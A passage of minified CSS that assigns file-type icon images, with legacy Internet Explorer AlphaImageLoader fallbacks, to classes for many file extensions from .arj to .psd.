\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none 